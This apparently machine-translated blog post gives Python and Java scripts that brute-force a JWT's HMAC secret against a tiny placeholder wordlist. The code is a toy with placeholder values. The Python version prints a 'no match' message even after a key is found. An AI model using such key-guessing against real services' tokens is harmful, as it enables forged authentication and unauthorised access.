Guess JWT keyword

• Determine the encryption method
• The bag used （ rely on ）[authlib.jose,auth0.jwt]
• Crack sercet

It says play , No value , Success is like lottery , Make a note of ;
Just guess , Ha ha ha ~~

python

''' @Author: Jeff.zheng @Date : 2022/4/22 @Desc : '''
from authlib.jose import jwt

def bruteforce(token):
    # Here is the secret key , You can try next to , Very low success 
    easykeys = ["sercet1", "sercet2", "sercet3", "sercet5"] 
    for easykey in easykeys:
        try:
            jwt.decode(token.encode(encoding='utf-8'), easykey)
            print(" Secret key ：", easykey)
        except Exception as e:
            pass
    print(" There is no match to the secret key ")


if __name__ == '__main__':
    token = "token"
    bruteforce(token)

java Code

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;

/** * @author: Jeff.zheng * @description: * @date: 2022/7/20 15:02 * @version: 1.0.0 */
public class TestToken {
    
    public  static  String token ="token";// Here are the ones to be cracked token

    public static void main(String[] args) {
    


        String [] mykeys = {
    "sercet1","sercet2","sercet3","sercet4" };// Here is the possible secret key 
        for (String mykey :mykeys ) {
    
            if(forceToken(mykey)){
    
                System.out.println(" success ,key=》"+mykey);// The success of key
            }else {
    
                System.out.println(" Failure ,key=》"+mykey);// The failure of the key
            }
        }
    }


    static Boolean forceToken(String secrete){
    
        try {
    
            JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256(secrete)).build();
            DecodedJWT verify = null;
            verify = jwtVerifier.verify(token);
            return  true;
        }catch (Exception e){
    
            return false;
        }
    }
}